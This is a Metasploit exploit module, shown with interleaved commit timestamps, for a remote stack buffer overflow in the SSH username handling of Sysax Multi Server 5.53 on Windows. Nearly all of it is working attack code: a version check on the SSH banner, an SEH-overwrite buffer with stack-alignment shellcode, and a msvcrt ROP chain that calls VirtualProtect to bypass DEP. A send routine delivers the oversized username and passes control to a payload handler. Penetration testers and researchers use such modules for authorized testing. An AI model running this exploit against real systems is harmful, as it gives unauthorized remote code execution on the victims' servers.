metasploit-framework/modules/exploits/windows/ssh/sysax_ssh_username.rb

244 lines
6.1 KiB
Ruby
Raw Normal View History

2012-03-03 16:11:51 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => "Sysax 5.53 SSH Username Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Sysax's SSH service. By
supplying a long username, the SSH server will copy that data on the stack
without proper bounds checking, therefore allowing remote code execution
2012-03-03 16:11:51 +00:00
under the context of the user. Please note that previous versions
(before 5.53) are also affected by this bug.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Craig Freyman', #Initial discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
2012-03-03 18:28:30 +00:00
['OSVDB', '79689'],
2012-03-03 16:11:51 +00:00
['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
['EDB', '18535']
2012-03-03 16:11:51 +00:00
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x3a",
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'EXITFUNC' => "seh"
2012-03-03 16:11:51 +00:00
},
'Platform' => 'win',
'Targets' =>
[
2012-03-04 23:18:34 +00:00
[
'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
{
'Rop' => false,
'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe
}
],
[
'Sysax 5.53 on Win2K3 SP1/SP2',
{
'Rop' => true,
'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN
}
]
2012-03-03 16:11:51 +00:00
],
'Privileged' => false,
'DisclosureDate' => "Feb 27 2012",
'DefaultTarget' => 0))
register_options(
[
OptInt.new('RPORT', [false, 'The target port', 22])
], self.class)
end
def check
begin
connect
2012-06-04 22:26:15 +00:00
banner = sock.get_once(-1,5) || ''
disconnect
if banner =~ /SSH\-2\.0\-SysaxSSH_1\.0/
return Exploit::CheckCode::Vulnerable
end
rescue
end
return Exploit::CheckCode::Safe
end
2012-03-03 16:11:51 +00:00
def load_netssh
begin
require 'net/ssh'
return true
rescue LoadError
return false
end
end
2012-03-04 23:18:34 +00:00
def get_regular_exploit
2012-03-03 16:11:51 +00:00
#
# Align the stack to the beginning of the fixed size payload
#
align = "\x54" #PUSH ESP
align << "\x58" #POP EAX
align << "\x04\x08" #ADD AL,0x08
align << "\x8b\x18" #MOV EBX, [EAX]
align << "\x93" #XCHG EAX,EBX
align << "\x66\x2d\x10\x04" #SUB AX,0x361
align << "\x50" #PUSH EAX
align << "\xc3" #RET
#
# Our payload limited to 1024+4 bytes
#
p = make_nops(4)
p << payload.encoded
#
# Craft the buffer like this:
# [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]
# * The 20-byte region is where our source IP is written. 20 bytes gives it enough room
# for the IP length, so the next 9404-byte space will begin at a consistent place.
# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
# partial-overwrite to allow a null byte in SEH.
#
buf = ''
buf << rand_text(392, payload_badchars)
buf << rand_text(20, payload_badchars)
buf << rand_text(9204-buf.length-align.length-p.length, payload_badchars) #8796+392+20
buf << p
buf << align
buf << "\xeb" + [0-align.length-2].pack('c') + make_nops(2) #Short jmp back
buf << [target.ret].pack('V*')
2012-03-04 23:18:34 +00:00
return buf
end
def get_rop_exploit
junk = rand_text(4).unpack("L")[0].to_i
nop = make_nops(4).unpack("L")[0].to_i
# !mona rop -m msvcrt
p =
[
0x77bb2563, # POP EAX # RETN
0x77ba1114, # <- *&VirtualProtect()
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77bb0c86, # XCHG EAX,ESI # RETN
0x77bc9801, # POP EBP # RETN
0x77be2265, # ptr to 'push esp # ret'
0x77bb2563, # POP EAX # RETN
0x03C0990F,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb48d3, # POP EBX, RET
0x77bf21e0, # .data
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
0x77bbfc02, # POP ECX # RETN
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
0x77bd8c04, # POP EDI # RETN
0x77bd8c05, # ROP NOP (-> edi)
0x77bb2563, # POP EAX # RETN
0x03c0984f,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb8285, # XCHG EAX,EDX # RETN
0x77bb2563, # POP EAX # RETN
nop,
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
].pack("V*")
p << payload.encoded
#
# Similar buffer structure to get_regular_exploit
#
buf = ''
buf << rand_text(392, payload_badchars)
buf << rand_text(20, payload_badchars)
buf << rand_text(1012, payload_badchars)
buf << p
buf << rand_text(9204-buf.length)
buf << rand_text(4, payload_badchars)
buf << [target.ret].pack('V*')
return buf
end
def exploit
#
# Load net/ssh so we can talk the SSH protocol
#
has_netssh = load_netssh
if not has_netssh
print_error("You don't have net/ssh installed. Please run gem install net-ssh")
return
end
#
# Create buffer based on target (DEP or no DEP)
# If possible, we still prefer to use the regular version because it's more stable
#
if target['Rop']
buf = get_rop_exploit
else
buf = get_regular_exploit
end
2012-03-03 16:11:51 +00:00
#
# Send the malicious buffer
#
pass = rand_text_alpha(8)
begin
print_status("Sending malicious request to #{rhost}:#{rport}...")
ssh = Net::SSH.start(
datastore['RHOST'],
buf,
{
:password => pass,
:port => datastore['RPORT'],
:timeout => 1,
:proxies => datastore['Proxies']
2012-03-03 16:11:51 +00:00
})
::Timeout.timeout(1) {ssh.close} rescue nil
rescue Errno::ECONNREFUSED
print_error("Cannot establish a connection on #{rhost}:#{rport}")
return
rescue ::Exception => e
if e.message =~ /fingerprint [0-9a-z\:]+ does not match/
print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
return
end
end
handler(ssh)
end
end
=begin
Todo: We seriously need a MSF SSH mixin to handle the SSH protocol ourselves, not
relying on net/ssh.
2012-03-03 18:28:30 +00:00
=end